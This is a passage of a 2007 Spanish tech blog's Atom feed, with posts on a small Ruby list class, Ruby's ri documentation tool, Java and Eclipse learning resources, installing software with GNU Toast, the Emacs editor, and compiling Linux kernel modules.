/&gt;http://www.guia-ubuntu.org/index.php?title=MLDonkey&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-1998376674306613031?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/1998376674306613031/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=1998376674306613031' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/1998376674306613031'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/1998376674306613031'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2007/11/como-configurar-el-mldonkey.html' title='Como configurar el MLDonkey'/><author><name>Nauzet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-6054246936320998003</id><published>2007-10-23T13:05:00.000Z</published><updated>2007-10-24T12:11:40.311Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='ruby'/><category scheme='http://www.blogger.com/atom/ns#' term='desarrollo'/><title type='text'>Ruby, ese "pequeño" lenguaje de programación</title><content type='html'>Bueno, ya dije en el post anterior me que encuentro aprendiendo a programar con &lt;a href="http://www.ruby-lang.org/es/"&gt;Ruby&lt;/a&gt;...&lt;br /&gt;&lt;br /&gt;Después de una semanita de estudio estoy empezando a llorar de alegría, ¡Ya me estoy despegando de C!, en esta última semana cuando estaba en clase de compiladores, mientra el profesor decía cosas yo estaba ya pensando en el código que supondría... EN RUBY!!! ESTABA PENSANDO EN UN COMPILADOR EN RUBY! no en Ada, ni C, ni Java... ni siquiera en ensamblador xDD, sólo en Ruby, señal de lo rápido que le puede llegar a gustar a uno este lenguaje y es que el desarrollo es muuuucho más rápido.&lt;br /&gt;&lt;br /&gt;Para prácticar un poco decidí hacer las prácticas de otra asignatura que tuve en su momento (MP2) y así coger soltura con más o menos todos los detalles del lenguaje. Pues haciendo un paquete de listas, lo típico, se me ha quedado en esto.&lt;br /&gt;&lt;br /&gt;class List&lt;br /&gt;def initialize&lt;br /&gt; @iter = nil&lt;br /&gt; @list = []&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;def insert(elem, *rest)&lt;br /&gt; @list &lt;&lt; elem&lt;br /&gt; rest.each do |i|&lt;br /&gt;   @list &lt;&lt; i&lt;br /&gt; end&lt;br /&gt; return @list&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;def extract&lt;br /&gt; @list.shift&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;def length&lt;br /&gt; @list.length&lt;br /&gt;end&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;¿No les parece simple a la par que fácil de leer y hermoso? ^^. De lo que más orgulloso me siento es del insertar :P&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-6054246936320998003?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/6054246936320998003/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=6054246936320998003' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/6054246936320998003'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/6054246936320998003'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2007/10/ruby-ese-pequeo-lenguaje-de-programacin.html' title='Ruby, ese &quot;pequeño&quot; lenguaje de programación'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-757805352095399634</id><published>2007-10-19T12:19:00.000Z</published><updated>2007-10-19T12:38:41.968Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='ruby'/><category scheme='http://www.blogger.com/atom/ns#' term='ayuda'/><category scheme='http://www.blogger.com/atom/ns#' term='manual'/><title type='text'>El man de ruby</title><content type='html'>Hola amiguetes! me echabais de menos?... NO?!, jo... Bueno da igual, ahí vamos con el apunte de hoy.&lt;br /&gt;&lt;br /&gt;Pues resulta que estoy aprendiendo &lt;a href="http://www.ruby-lang.org/es/"&gt;ruby&lt;/a&gt;, ya había mirado cosas hace algún tiempo pero ahora estoy en plan serio, ya escribo algunas cosillas y espero que en breve pueda empezar ya a usar todo el potencial de ruby tanto para hacerme bibliotecas, como programas grandes o para escribir pequeños scripts para hacer rápidamente una tarea.&lt;br /&gt;&lt;br /&gt;Bueno, para todo el que quiera empezar y para recordarlo yo mismo, una de las primeras cosas que he aprendido en ésta mi n-ésima vez aprendiendo ruby (y que no sabía las veces anteriores) es que ruby tiene un sistema de documentación, el paquete &lt;a href="http://rdoc.sourceforge.net/"&gt;RDoc&lt;/a&gt; (Ruby Documentation). Cuando lo hayamos instalado podremos hacer consultas usando el programa &lt;span style="font-style: italic;"&gt;ri&lt;/span&gt; (Ruby Information) sobre cualquier método y se nos presentará en pantalla una pequeña ayuda diciendo qué es lo que hace y qué hay que pasarle, etc... MUY MUY ÚTIL PARA NOVATOS.&lt;br /&gt;&lt;br /&gt;Otra cosa que me resulta pesada cuando se va a aprender uno un nuevo lenguaje es la cantidad de funciones que desconoce y empiezas a implementartelas tú sin saber que ya existen... Ahora para evitarme esa situación y conocer las funciones, cuando necesito hacer algo que lo primero que se me pasa por la cabeza es "joder, esto es algo típico", entonces es altamente probable que ruby ya tenga una función que hace eso y mil cosas más. Para saber que funciones tiene un objeto o clase existe un método llamado &lt;span style="font-style: italic;"&gt;methods &lt;/span&gt;que devuelve un array con todos los métodos disponibles para ese objeto. Tener en cuenta que son TODOS, esto es, todos los heredados desde la clase Object hasta la clase que es. Si queremos ver que métodos tiene sólo de la última clase podemos utilizar el método &lt;span style="font-style: italic;"&gt;instance_methods. &lt;/span&gt;Esto es especialmente útil para buscar nombres que nos suenen a que pueden hacer lo que queremos y luego usar &lt;span style="font-style: italic;"&gt;ri &lt;método&gt; &lt;/método&gt;&lt;/span&gt;o &lt;span style="font-style: italic;"&gt;ri &lt;clase&gt;[.|#]&lt;método&gt; &lt;/método&gt;&lt;/clase&gt;&lt;/span&gt;(lo siento, tuve que poner una regexp :P) para ver qué es lo que realmente hace.&lt;br /&gt;&lt;br /&gt;Pues eso, espero que si deciden aprender ruby, esto les ayude.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-757805352095399634?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/757805352095399634/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=757805352095399634' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/757805352095399634'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/757805352095399634'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2007/10/el-man-de-ruby.html' title='El man de ruby'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-4581822122574890785</id><published>2007-09-16T11:08:00.002Z</published><updated>2008-08-10T17:40:54.487Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='eclipse'/><category scheme='http://www.blogger.com/atom/ns#' term='programacion'/><title type='text'>Aprendizaje de Java y eclipse</title><content type='html'>La red esta repleta de recursos acerca del lenguaje de programación &lt;a href="http://en.wikipedia.org/wiki/Java_%28programming_language%29"&gt;Java&lt;/a&gt;, como por ejemplo el de &lt;a href="http://www.tecnun.es/asignaturas/Informat1/ayudainf/aprendainf/Java/Java2.pdf"&gt;Aprenda java como si estuviera en primero&lt;/a&gt; o &lt;a href="http://www.javapassion.com/"&gt;javapassion&lt;/a&gt;. Son tantos los sitios que seguramente no sepamos por donde empezar y probablemente nunca lo hagamos a menos que alguien nos introduzca en el mundillo.&lt;br /&gt;&lt;br /&gt;Gracias a los siguientes vídeo tutoriales podemos contar con una persona que nos enseñará en casa y a nuestro ritmo.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://jonah.cs.elon.edu/dpowell2/Courses/EclipseTutorial/EclipseTutorial.htm"&gt; Eclipse Vídeo Tutorial.&lt;/a&gt;&lt;br /&gt;Excelente contenido audiovisual dónde se muestra todo un ciclo completo de desarrollo usando el &lt;a href="http://en.wikipedia.org/wiki/Integrated_development_environment"&gt;IDE&lt;/a&gt; eclipse. (Aprenderas a crear un proyecto, depurar, realizar una batería de pruebas, generar documentación, elaborar diagramas &lt;a href="http://en.wikipedia.org/wiki/Unified_Modeling_Language"&gt;UML&lt;/a&gt; y programar interfaces gráficas de usuario.)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://eclipsetutorial.sourceforge.net/"&gt;Eclipse and Java for total Beginners&lt;/a&gt;.&lt;br /&gt;Serie de 16 vídeos de menos de 15 minutos cada uno con los que aprenderás lo básico de java y &lt;a href="http://en.wikipedia.org/wiki/Eclipse_%28software%29"&gt;eclipse&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.netbeans.org/kb/"&gt;Netbeans Docs &amp;amp; Support&lt;/a&gt;&lt;br /&gt;También ofrece videotueoriales cortos de cómo empezar a usar otras tecnología de java mediante el IDE mantenido por SUN&lt;br /&gt;&lt;br /&gt;Una vez introducidos. "&lt;span style="font-weight: bold;"&gt;Lo mejor es seguir las fuentes oficiales&lt;/span&gt;!". En este caso el &lt;a href="http://java.sun.com/docs/books/tutorial/index.html"&gt;Sun's Java Tutorial&lt;/a&gt; y &lt;a href="http://www.eclipse.org/documentation/"&gt;Eclipse documentation&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Además eclipse es uno de esos editores extensibles por la comunidad de usuarios y entre la montaña de &lt;a href="http://www.eclipseplugincentral.com/"&gt;plugins&lt;/a&gt;, éstos son algunos de mis favoritos:&lt;br /&gt;  &lt;ul&gt;&lt;li&gt;&lt;a href="http://jadclipse.sourceforge.net/"&gt;jadClipse&lt;/a&gt; Navegar por el código fuente de archivos .class&lt;/li&gt;&lt;li&gt;&lt;a href="http://findbugs.sourceforge.net/"&gt;FindBug&lt;/a&gt; Encontrar fallos potenciales en nuestro código.&lt;/li&gt;&lt;/ul&gt;  &lt;br /&gt;Para obtener mas cosas interesantes consulta &lt;a href="http://del.icio.us/arreche/java+useful"&gt;mis enlaces útiles de java en el delicious&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-4581822122574890785?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.blogger.com/img/gl.link.gif' title='Aprendizaje de Java y eclipse'/><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/4581822122574890785/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=4581822122574890785' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/4581822122574890785'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/4581822122574890785'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2007/09/aprendizaje-de-java-y-eclipse.html' title='Aprendizaje de Java y eclipse'/><author><name>arreche</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-3873258674802217287</id><published>2007-08-31T20:37:00.001Z</published><updated>2009-02-04T20:05:24.192Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='software'/><category scheme='http://www.blogger.com/atom/ns#' term='unix'/><title type='text'>Instalar software limpiamente mediante GNU/Toast</title><content type='html'>&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;Toast&lt;/span&gt; permite instalar y gestionar fácilmente software desde sus paquetes de código fuente en sistemas &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;unix&lt;/span&gt; sin necesidad de permisos de administrador ni muchos quebraderos de cabeza.&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;Para ello solo basta seguir los siguientes pasos:&lt;br /&gt;&lt;br /&gt;1.Vamos a la &lt;a href="http://www.toastball.net/toast/"&gt;Pagina oficial del &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;Toast&lt;/span&gt;&lt;/a&gt; y leemos un poquito acerca del proyecto&lt;br /&gt;2.Descargamos mediante el comando&lt;br /&gt; &lt;span style="font-style: italic;" class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;wget&lt;/span&gt;&lt;span style="font-style: italic;"&gt; http://www.toastball.net/toast/toast-1.444.tar.gz&lt;/span&gt;&lt;br /&gt;3.Descomprimimos el binario&lt;br /&gt;  &lt;span style="font-style: italic;" class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;tar&lt;/span&gt;&lt;span style="font-style: italic;"&gt; &lt;/span&gt;&lt;span style="font-style: italic;" class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;xzf&lt;/span&gt;&lt;span style="font-style: italic;"&gt; toast-1.444.tar.gz&lt;/span&gt;&lt;br /&gt;4.Instalamos la ultima versión de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;toast&lt;/span&gt; con &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;toast&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    ./toast-1.444/toast &lt;/span&gt;&lt;span style="font-style: italic;" class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;arm&lt;/span&gt;&lt;span style="font-style: italic;"&gt; &lt;/span&gt;&lt;span style="font-style: italic;" class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;toast&lt;/span&gt;&lt;br /&gt;5.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;Comprovamos&lt;/span&gt; que la instalación fue correcta y así de paso vemos la ayuda &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;rapida&lt;/span&gt;&lt;br /&gt;  &lt;span style="font-style: italic;" class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;toast&lt;/span&gt;&lt;br /&gt;6.Darse el gusto instalando lo que necesitemos&lt;br /&gt; &lt;span style="font-style: italic;" class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;toast&lt;/span&gt;&lt;span style="font-style: italic;"&gt; &lt;/span&gt;&lt;span style="font-style: italic;" class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;arm&lt;/span&gt;&lt;span style="font-style: italic;"&gt; &lt;/span&gt;&lt;span style="font-style: italic;" class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;install&lt;/span&gt;&lt;span style="font-style: italic;"&gt; &lt;/span&gt;&lt;span style="font-style: italic;" class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;emacs&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;El funcionamiento de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;toast&lt;/span&gt; consiste en buscar los paquetes fuentes de una aplicación a partir una base de datos de software libre para posteriormente descargarlo, compilarlo, y ajustar correctamente las variables de entorno que nos &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_18"&gt;permitirán&lt;/span&gt; ejecutarla.&lt;br /&gt;Los binarios y fuentes descargados se guardan en el directorio ~/.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;toast&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-3873258674802217287?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/3873258674802217287/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=3873258674802217287' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/3873258674802217287'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/3873258674802217287'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2007/08/instalar-software-limpiamente-mediante.html' title='Instalar software limpiamente mediante GNU/Toast'/><author><name>arreche</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-9200071630234583017</id><published>2007-07-22T22:14:00.001Z</published><updated>2009-02-04T20:04:05.391Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='editores'/><category scheme='http://www.blogger.com/atom/ns#' term='emacs'/><title type='text'>Emacs. El editor universal</title><content type='html'>Como es posible que &lt;a href="http://www.gnu.org/software/emacs/"&gt;&lt;span id="misp_compose_1" class="hm"&gt;emacs&lt;/span&gt;&lt;/a&gt;, un editor de macros creado en 1975 por  &lt;a href="http://es.wikipedia.org/wiki/Richard_Stallman" title="Richard Stallman"&gt;&lt;span id="misp_compose_2" class="hm"&gt;Richard&lt;/span&gt; &lt;span id="misp_compose_3" class="hm"&gt;Stallman&lt;/span&gt;&lt;/a&gt; , todavía continué utilizándose? Tal vez analizando la siguiente cita extraida de su manual de referencia oficial lleguemos a entenderlo.&lt;br /&gt;&lt;br /&gt;"&lt;span style="font-style: italic;"&gt;&lt;span id="misp_compose_7" class="hm"&gt;Emacs&lt;/span&gt; &lt;span id="misp_compose_8" class="hm"&gt;is&lt;/span&gt; &lt;span id="misp_compose_9" class="hm"&gt;the&lt;/span&gt; extensible, &lt;span id="misp_compose_10" class="hm"&gt;customizable&lt;/span&gt;, &lt;span id="misp_compose_11" class="hm"&gt;self&lt;/span&gt;-&lt;span id="misp_compose_12" class="hm"&gt;documenting&lt;/span&gt; real-time &lt;span id="misp_compose_13" class="hm"&gt;display&lt;/span&gt; editor.&lt;/span&gt;"&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Extensible&lt;/span&gt; gracias a integra un interprete &lt;a href="http://en.wikipedia.org/wiki/Emacs_Lisp"&gt;&lt;span id="misp_compose_14" class="hm"&gt;emacs&lt;/span&gt; &lt;span id="misp_compose_15" class="hm"&gt;lisp&lt;/span&gt;&lt;/a&gt; con la que el propio usuario puede extender las funcionalidades del editor. &lt;span id="misp_compose_16" class="hm"&gt;Elisp&lt;/span&gt; incorpora sentencias que permiten usar el editor como interfaz entre el usuario y los comandos del &lt;span id="misp_compose_17" class="hm"&gt;sistema&lt;/span&gt;. De ahí el que se atribuyan usos tales como editor universal, entorno de desarrollo integrado, escritorio remoto o cómicamente el de sistema operativo.&lt;br /&gt;&lt;br /&gt;Es &lt;span style="font-weight: bold;" id="misp_compose_20" class="hm"&gt;personalizable&lt;/span&gt; por usuario ya que es posible adaptar cualquier aspecto de uso a nuestras propias necesidades. &lt;span id="misp_compose_21" class="hm"&gt;Visualización&lt;/span&gt;, apariencia, teclas rápidas, comandos y un interminable etc.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Auto documentado&lt;/span&gt; ya que además de poder consultar los &lt;span id="misp_compose_25" class="hm"&gt;man&lt;/span&gt; o &lt;span id="misp_compose_26" class="hm"&gt;info&lt;/span&gt; del sistema, toda la documentasen referente al editor o &lt;span id="misp_compose_28" class="hm"&gt;elisp&lt;/span&gt; viene de serie.&lt;br /&gt;&lt;br /&gt;Aquí una de mis capturas de panatalla&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.emacswiki.org/pics/static/AythamiScreenshot1.jpg"&gt;&lt;img style="cursor: pointer; width: 200px;" src="http://www.emacswiki.org/pics/static/AythamiScreenshot1.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;La mejor manera ser productivos con una aplicaron interactiva es aprender los atajos de teclado de las funciones mas usadas.  &lt;span id="misp_compose_37" class="hm"&gt;Emacs&lt;/span&gt; esta pensado para esto dedicando dos teclas a modo de comodín para una interacción eficiente con el sistema. Estas teclas son Control(Tecla &lt;span id="misp_compose_40" class="hm"&gt;ctrl&lt;/span&gt;) simbolizado por la letra C- y Meta(Tecla &lt;span id="misp_compose_41" class="hm"&gt;alt&lt;/span&gt;) por M- de tal forma que por ejemplo para salir del editor hemos de pulsar C-x C-c (dejamos presionado "&lt;span id="misp_compose_42" class="hm"&gt;ctrl&lt;/span&gt;" y a continuación pulsamos "x" y luego "c¨)&lt;br /&gt;&lt;br /&gt;Hay que resaltar que &lt;span id="misp_compose_30" class="hm"&gt;emacs&lt;/span&gt; tiene una de las mayores comunidades de usuarios y desarrolladores que contribuyen a que el editor innove e importe maneras útiles para manipular todo tipo de información. Gracias a esto, la aplicacion se mantiene actualizada y adaptada a las nuevas necesidades. Se acabó el tener que aprender y configurar un nuevo editor con cada tipo de documento o lenguaje de programación!&lt;br /&gt;&lt;br /&gt;En este &lt;a href="http://www.gnu.org/software/emacs/tour/"&gt;enlace&lt;/a&gt; pueden hojear algunas de las mejores funcionalidades del editor mediante mas capturas de pantalla.&lt;br /&gt;&lt;br /&gt;Si te animas te recomiendo que visites la &lt;a href="http://www.emacswiki.org/cgi-bin/emacs-es"&gt;sección hispana del wiki de la comunidad internacional de &lt;span id="misp_compose_45" class="hm"&gt;emacs&lt;/span&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-9200071630234583017?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/9200071630234583017/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=9200071630234583017' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/9200071630234583017'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/9200071630234583017'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2007/07/emacs-el-editor-universal.html' title='Emacs. El editor universal'/><author><name>arreche</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-4491188605860885460</id><published>2007-07-14T15:12:00.000Z</published><updated>2007-07-14T17:43:09.025Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='módulos'/><title type='text'>Compilación de módulos bajo Linux</title><content type='html'>Desde que entré en el mundo de Linux me ha llamado la atención el núcleo y todo lo que represente meter mano por ahí. Lo malo de eso es que resulta engorroso, confuso y complicado empezar (al menos a mi me pasa), después de ganar cierta experiencia moviendome en sistemas UNIX (o sea Linux para que nos vamos a engañar...) me he dado cuenta de que la parte más fructífera para el informatico de a pié son los módulos.&lt;br /&gt;&lt;br /&gt;¿Qué es un módulo? Mucha gente cree que un módulo en Linux es un driver, un programa para manejar un cacharro. En principio yo también lo pensé, es más, surgieron precisamente para ese motivo, pero un módulo es más que eso. Un módulo se puede ver a grosso modo como un cacho más del núcleo, un pedazo de código que hace algo, puede ser manejar un dispositivo o puede ser ordenar un vector, que se yo, cualquier cosa. La característica más resaltable de los módulos como todos saben es la posibilidad de la carga y descarga de ese cacho de código mientras el núcleo está funcionando. Para desarrolladores hay otra característica igual de importante que es el hecho de que no hay que recompilar el núcleo para crear el módulo (gracias a dios!).&lt;br /&gt;&lt;br /&gt;Lo que voy a poner a continuación después de esta comida de bola es algunas notitas para mi mismo y para quién las necesite sobre como compilar un módulo.&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Necesitamos los fuentes de un núcleo. OJO! si queremos que el módulo funcione para el núcleo que corre actualmente hacen falta los fuentes de ese núcleo obviamente, pero podemos generar módulos para otras versiones de núcleo diferentes a la que está corriendo... lógicamente no podremos cargarlos por la incompatibilidad de versiones (aunque creo que se puede desactivar cuando se compila el núcleo) así que lo normal es trabajar con un núcleo X.Y.Z corriendo y tener los fuentes del núcleo X.Y.Z para generar módulos para un núcleo X.Y.Z.&lt;/li&gt;&lt;li&gt;Necesitaremos compilar el núcleo, esto es debido a que hace falta generar el árbol de dependencias para luego poder compilar módulos. Al compilarlo una vez ya se crea este árbol, no hace falta recompilar el núcleo cada vez que queremos compilar un módulo.&lt;/li&gt;&lt;li&gt;Crear un makefile con una sintaxis especial, luego veremos ejemplos.&lt;/li&gt;&lt;li&gt;Compilar el módulo, debe ser compilado dentro del contexto del árbol de dependencias del núcleo, así que no vale ejecutar make y ya está, luego veremos como se hace.&lt;/li&gt;&lt;li&gt;Cargar el módulo con insmod o modprobe. El segundo es más inteligente que el primero, deberiamos acostumbrarnos a usarlo.&lt;/li&gt;&lt;li&gt;Abrir una cervecita, beber y decir "joder! que de puta madre!" si todo funciona else decir "esto es una mierda, el puto ole no sabe explicarse!", abrir una cervecita, beber y descubrir que está pasando.&lt;/li&gt;&lt;li&gt;Si todo funcionó empezar a usar el módulo para darte cuenta de que no funciona el programa en si y que tienes que buscar fallos. Documentación de debugging de módulos hay en el tema 4 del libro "Linux Device Drivers" de  Jonathan Corbet, Alexandro Rubini y en la tercera edición también Greg Kroah-Hartman. MUY ENCARECIDAMENTE SE LOS RECOMIENDO EN INGLÉS Y NO EN ESPAÑOL! He mirado la segunda edición en inglés y la tercera en español... no hay color, la traducción es muy mala. Desde aquí se lo dedico Pedro J. Gómez Corriente.&lt;/li&gt;&lt;/ol&gt;Ejemplitos de código estúpido y compilación sarna (el típico, hola mundo):&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;#define EL_MUNDO_APESTA 0&lt;br /&gt;&lt;br /&gt;int algo()&lt;br /&gt;{&lt;br /&gt;  printk(KERN_ALERT "HOLA MUNDO!!!\n"); //OJO al \n que muchas recompilaciones se hacen por ellos&lt;br /&gt;  return EL_MUNDO_APESTA;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int blablabla()&lt;br /&gt;{&lt;br /&gt;  printk(KERN_WARNING "descargando modulo\n");&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;module_init(blablabla);&lt;br /&gt;module_exit(algo);&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;El ejemplo lo he picado con la misma sin mirar nada así que es altamente probable que no funcione. Seguramente faltarán bibliotecas, creo que para el tema de módulos hay que añadir siempre una tal &lt;linux h=""&gt;linux/modules.h  pero no sé. Cuando el make pete miran lo que dice resuelven y tan amiiiiiigos noooooo?!&lt;br /&gt;&lt;br /&gt;Makefile para un módulo que es generado por UN ÚNICO fichero objeto.&lt;br /&gt;-----------------------------------------------------------------------------------------&lt;br /&gt;obj-m := &lt;span style="font-style: italic;"&gt;nombre_que_queremos_para_el_modulo.o&lt;/span&gt;&lt;br /&gt;-----------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Makefile para un módulo que es generado por VARIOS ficheros objeto.&lt;br /&gt;-----------------------------------------------------------------------------------------&lt;br /&gt;obj-m := &lt;span style="font-style: italic;"&gt;nombre_que_queremos_para_el_modulo.o&lt;br /&gt;&lt;/span&gt;module-objs := &lt;span style="font-style: italic;"&gt;fichero1.o fichero2.o .....&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;-----------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Orden make para compilar:&lt;br /&gt;&lt;br /&gt;make -C &lt;span style="font-style: italic;"&gt;directorio_de_los_fuentes_del_núcleo &lt;/span&gt;M=&lt;span style="font-style: italic;"&gt;direccion_donde_quiero_estar_despues_de_compilar &lt;/span&gt;modules&lt;/linux&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-4491188605860885460?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/4491188605860885460/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=4491188605860885460' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/4491188605860885460'/><link rel='self' type='application/atom+xml' 